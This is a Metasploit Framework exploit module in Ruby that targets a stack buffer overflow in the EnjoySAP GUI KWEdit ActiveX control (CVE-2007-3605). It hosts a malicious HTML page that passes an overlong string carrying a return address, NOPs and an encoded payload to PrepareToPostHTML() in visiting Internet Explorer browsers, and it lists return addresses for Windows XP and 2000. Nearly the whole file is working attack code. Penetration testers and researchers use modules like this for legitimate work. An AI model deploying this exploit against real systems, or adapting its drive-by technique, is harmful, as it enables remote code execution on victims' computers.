100 lines
2.6 KiB
Ruby
100 lines
2.6 KiB
Ruby
|
##
|
||
|
|
# $Id: enjoysapgui_preparetoposthtml.rb 4886 2007-05-07 04:48:45Z hdm $
|
||
|
|
##
|
||
|
|
|
||
|
|
##
|
||
|
|
# This file is part of the Metasploit Framework and may be subject to
|
||
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||
|
|
# Framework web site for more information on licensing and terms of use.
|
||
|
|
# http://metasploit.com/projects/Framework/
|
||
|
|
##
|
||
|
|
|
||
|
|
require 'msf/core'
|
||
|
|
|
||
|
|
module Msf
|
||
|
|
|
||
|
|
class Exploits::Windows::Browser::Enjoysapgui_preparetoposthtml< Msf::Exploit::Remote
|
||
|
|
|
||
|
|
include Exploit::Remote::HttpServer::HTML
|
||
|
|
|
||
|
|
def initialize(info = {})
|
||
|
|
super(update_info(info,
|
||
|
|
'Name' => 'EnjoySAP SAP GUI ActiveX Control Buffer Overflow',
|
||
|
|
'Description' => %q{
|
||
|
|
This module exploits a stack overflow in SAP KWEdit ActiveX
|
||
|
|
Control (kwedit.dll 6400.1.1.41) provided by EnjoySAP GUI. By sending
|
||
|
|
an overly long string to the "PrepareToPostHTML()" method, an attacker
|
||
|
|
may be able to execute arbitrary code.
|
||
|
|
},
|
||
|
|
'License' => MSF_LICENSE,
|
||
|
|
'Author' => [ 'MC' ],
|
||
|
|
'Version' => '$Revision: 4886 $',
|
||
|
|
'References' =>
|
||
|
|
[
|
||
|
|
[ 'CVE', '2007-3605' ],
|
||
|
|
[ 'BID', '24772' ],
|
||
|
|
],
|
||
|
|
'DefaultOptions' =>
|
||
|
|
{
|
||
|
|
'EXITFUNC' => 'process',
|
||
|
|
},
|
||
|
|
'Payload' =>
|
||
|
|
{
|
||
|
|
'Space' => 800,
|
||
|
|
'BadChars' => "\x00\x09\x0a\x0d'\\",
|
||
|
|
'PrepenEncoder' => "\x81\xc4\x54\xf2\xff\xff",
|
||
|
|
},
|
||
|
|
'Platform' => 'win',
|
||
|
|
'Targets' =>
|
||
|
|
[
|
||
|
|
[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
|
||
|
|
[ 'Windows 2000 Pro English All', { 'Ret' => 0x75022ac4 } ],
|
||
|
|
|
||
|
|
],
|
||
|
|
'DisclosureDate' => 'July 05 2007',
|
||
|
|
'DefaultTarget' => 0))
|
||
|
|
end
|
||
|
|
|
||
|
|
def autofilter
|
||
|
|
false
|
||
|
|
end
|
||
|
|
|
||
|
|
def check_dependencies
|
||
|
|
use_zlib
|
||
|
|
end
|
||
|
|
|
||
|
|
def on_request_uri(cli, request)
|
||
|
|
# Re-generate the payload
|
||
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
||
|
|
|
||
|
|
# Randomize some things
|
||
|
|
vname = rand_text_alpha(rand(100) + 1)
|
||
|
|
strname = rand_text_alpha(rand(100) + 1)
|
||
|
|
|
||
|
|
# Build the exploit buffer
|
||
|
|
sploit = rand_text_alpha(1036) + Rex::Arch::X86.jmp_short(6)
|
||
|
|
sploit << make_nops(2) + [target.ret].pack('V') + p.encoded
|
||
|
|
|
||
|
|
# Build out the message
|
||
|
|
content = %Q|
|
||
|
|
<html>
|
||
|
|
<object classid='clsid:2137278D-EF5C-11D3-96CE-0004AC965257' id='#{vname}' /></object>
|
||
|
|
<script language='javascript'>
|
||
|
|
#{strname} = new String('#{sploit}')
|
||
|
|
#{vname}.PrepareToPostHTML(#{strname})
|
||
|
|
</script>
|
||
|
|
</html>
|
||
|
|
|
|
||
|
|
|
||
|
|
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
||
|
|
|
||
|
|
# Transmit the response to the client
|
||
|
|
send_response_html(cli, content)
|
||
|
|
|
||
|
|
# Handle the payload
|
||
|
|
handler(cli)
|
||
|
|
end
|
||
|
|
|
||
|
|
end
|
||
|
|
end
|